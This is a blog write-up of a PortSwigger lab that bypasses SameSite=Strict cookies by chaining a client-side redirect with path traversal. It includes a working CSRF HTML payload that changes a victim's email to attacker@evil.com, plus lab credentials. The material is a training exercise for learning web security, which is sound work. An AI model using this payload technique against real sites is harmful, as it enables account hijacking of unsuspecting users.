Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

SameSite Strict bypass via client-side redirect | Jan 13, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: SameSite Strict bypass via client-side redirect! Without further ado, let’s dive in.

Background

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Login as user wiener:

Burp Suite HTTP history:

When we’re logged in successfully, it’ll set a new session cookie for us:

Set-Cookie: session=YXhMRVKeqb8ShWXU33TCvm1ifYsfjvdF; Secure; HttpOnly; SameSite=Strict

In here, we can see there is a SameSite attribute, which is set to Strict restriction.

View source page:

<div id=account-content>
    <p>Your username is: wiener</p>
    <p>Your email is: wiener@normal-user.net</p>
    <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
        <label>Email</label>
        <input required type="email" name="email" value="">
        <input required hidden name='submit' value='1'>
        <button class='button' type='submit'> Update email </button>
    </form>
</div>

As you can see, the form doesn’t have a CSRF token parameter, which helps to prevent CSRF (Cross-Site Request Forgery) attack. So, it may be vulnerable to CSRF.

When we submit the form, it’ll send a POST request to /my-account/change-email, with parameter email, submit.

Let’s try to update our email address:

Works fine.

However, in order to exploit CSRF, we first have to bypass the SameSite=Strict restriction.

If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.

As far as browsers are concerned, these client-side redirects aren’t really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

That being said, we need to find another vulnerability to successfully exploit CSRF.

In the home page, we can view different posts:

And we can leave some comments.

Let’s leave a test comment:

After we send the request, it’ll fetch a JavaScript file:

/resources/js/commentConfirmationRedirect.js:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

When we go to /post/comment/confirmation, it’ll run that JavaScript:

However, the GET parameter postId is fully under attacker’s control!

Now, what if I change the path to /my-account via path traversal?

/post/comment/confirmation?postId=../my-account/change-email

It worked! Also, endpoint /my-account/change-email accept GET method!

Armed with above information, we can craft a CSRF payload:

<html>
    <head>
        <title>CSRF-8</title>
    </head>
    <body>
        <script type="text/javascript">
            // Before URL encoded:
            // ?postId=../my-account/change-email?email=attacker@evil.com&submit=1
            document.location = 'https://0af50062047c8490c05fc7e3004600e4.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3Femail%3Dattacker%40evil.com%26submit%3D1';
        </script>
    </body>
</html>

This HTML payload will redirect user to our /post/comment/confirmation upon visit, then using the path traversal technique to exploit CSRF.

Let’s host it on the exploit server and test it:

It worked! Let’s deliver the payload to victim!

What we’ve learned:

  1. SameSite Strict bypass via client-side redirect